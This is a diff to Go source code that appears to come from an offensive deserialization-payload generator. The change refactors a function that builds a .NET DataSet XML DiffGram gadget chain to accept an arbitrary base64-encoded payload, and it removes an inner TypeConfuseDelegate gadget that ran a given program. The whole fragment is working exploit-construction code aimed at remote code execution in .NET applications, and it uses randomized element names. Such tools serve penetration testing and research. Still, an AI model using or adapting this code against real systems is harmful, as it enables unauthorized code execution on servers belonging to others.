@@ -1046,7 +1046,7 @@ func CreateDLLReflection(DLLBytes []byte, formatter string) (string, bool) {
1046
1046
}
1047
1047
}
1048
1048
1049
- func CreateDataSetXMLDiffGram (program string , args string ) (string , bool ) {
1049
+ func CreateDataSetXMLDiffGram (payloadIn string ) (string , bool ) {
1050
1050
name0 := random .RandLettersRange (3 , 9 )
1051
1051
name1 := random .RandLettersRange (3 , 9 )
1052
1052
name2 := random .RandLettersRange (3 , 9 )
@@ -1066,13 +1066,9 @@ func CreateDataSetXMLDiffGram(program string, args string) (string, bool) {
1066
1066
</xs:element>
1067
1067
</xs:schema>`
1068
1068
1069
- innerTypeConfuseDelegate , ok := CreateTypeConfuseDelegate (program , args , LOSFormatter )
1070
- if ! ok {
1071
- return "" , false
1072
- }
1073
- b64String := make ([]byte , base64 .StdEncoding .EncodedLen (len (innerTypeConfuseDelegate )))
1074
- base64 .StdEncoding .Encode (b64String , []byte (innerTypeConfuseDelegate ))
1075
- innerTypeConfuseDelegateBase64 := string (b64String )
1069
+ b64String := make ([]byte , base64 .StdEncoding .EncodedLen (len (payloadIn )))
1070
+ base64 .StdEncoding .Encode (b64String , []byte (payloadIn ))
1071
+ payloadB64 := string (b64String )
1076
1072
1077
1073
string1 := `<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
1078
1074
<` + name0 + `>
@@ -1083,7 +1079,7 @@ func CreateDataSetXMLDiffGram(program string, args string) (string, bool) {
1083
1079
<ProjectedProperty0>
1084
1080
<MethodName>Deserialize</MethodName>
1085
1081
<MethodParameters>
1086
- <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">` + innerTypeConfuseDelegateBase64 + `</anyType>
1082
+ <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">` + payloadB64 + `</anyType>
1087
1083
</MethodParameters>
1088
1084
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
1089
1085
</ProjectedProperty0>
0 commit comments